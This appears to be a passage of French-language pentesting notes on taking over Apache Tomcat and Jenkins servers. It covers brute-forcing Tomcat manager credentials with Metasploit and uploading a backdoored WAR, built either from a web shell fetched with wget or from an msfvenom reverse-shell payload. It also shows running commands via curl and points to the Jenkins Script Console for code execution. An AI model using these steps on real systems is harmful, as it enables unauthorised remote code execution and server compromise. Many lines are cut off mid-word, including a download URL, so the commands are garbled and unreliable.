tomcat-users.xml : le fichier situé dans le repertoir conf/ définit les utilisateurs
mots de passes et les roles pour accéder aux interfaces d'administrations de Tom
cat comme /manager ou /host-manager
NB : Les Tomcats sont souvent configurer avec des crédentiales par défaut ou faible
- L'accès aux interface de gestion permet de televerser un ficher WAR (Web Applica
on Archive) contenant un web-shell et d'ainsi obtenir une RCE.

4.1. Attacker Tomcat :

Les identifiant souvent faible des instances tomcat font qu'un brute force de login
peux s'averer tres interessant, ce qui peux etre automatisé avec le module de m
tasploit auxiliary/scanner/http/tomcat_mgr_login
Il peux etre tres interessant et le cote professionnel et meticuleux en fais un devoir
de proxyfier le trafic metasploit afin de l'analyser pour mieux le comprendre et mi
le débogger et l'étudier avec burpsuite

```
msf6 > set PROXIES HTTP:127.0.0.1:8080
```

Comme je l'ai dis plus haut un accès à l'interface manager nous permettra de dé
ployer une nouvelle application backdoorer en téléversant un fichier WAR
Pour créer cet archive créé je montre deux exemple ci-dessous le premier avec un web
shell "manuel" le second avec un reverse-shell metasploité.

[1]. `Agentpathogene@parrot ~$ wget https://raw.githubusercontent.com/tennc/webs`
`ll/master/fuzzdb-webshell/jsp/cmd.jsp`
`Agentpathogene@parrot ~$ zip -r backup.war cmd.jsp`

Une fois la baackdoor créé on clic sur Browse (Parcourir) on sélectionne notre bac
kdoor et on clic sur diploy, l'exécution de commande peux alors s'faire via URL ou
encore curl : `~$ curl http://domain/backup/cmd.jsp?cmd=id`

[2]. On peux créé un reverseShell avec metasploite, le déployer, l'exécuter en s'y
rendant sans avoir oublié notre listenner bien sur.

`Agentpathogene@parrot ~$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=`
`ou ip LPORT=4444 -f war > backup.war`

Pour automatiser les processus montré ci-dessous on a également un autre module m
sploite nommé : `multi/http/tomcat_mgr_upload`
NB: on a CVE-2020-1938 alias GhostCat qui est une LFI (limité au repertoir de l'ap
plication) qui touche de nombreuses versions...

5.0. Jenkins Découverte et Enumération :

Jenkins est un serveur d'automatisation open-source, il permet aux developpeu
construire et tester leurs logiciels automatiquement, il fonctionne souvent avec de
priviléges SYSTEM.
Par défault il utilise le port 8080 pour son interface web et le port 5000 pour la c
munication entre les serveurs maitres et esclaves
Il n'est pas rare (surtout sur des environnement internes) de trouver des instance
de jenkins mal configurer ou carrément dont l'authentification est absente, ce qui peux m
permettre un accès initial tres puissant. (Sur serveur maitre et esclaves)

5.1. Attacker Jenkins :

Script Console : Une fonctionnalité de Jenkins (accessible via /scripts) qui permet
aux administrateurs d'exécuter des Scripts Apache Groovy (un langage compatible av
Java) directement sur le serveurs, permetant une RCE que ce soit sous linux ou Sous
dows qu'il tourne
Certaines versions possède des RCE sans authentifications mais les versions un peu plus ré
centes sont évidemment corrigées. - - Le principal risque reste l'accès au Script Console.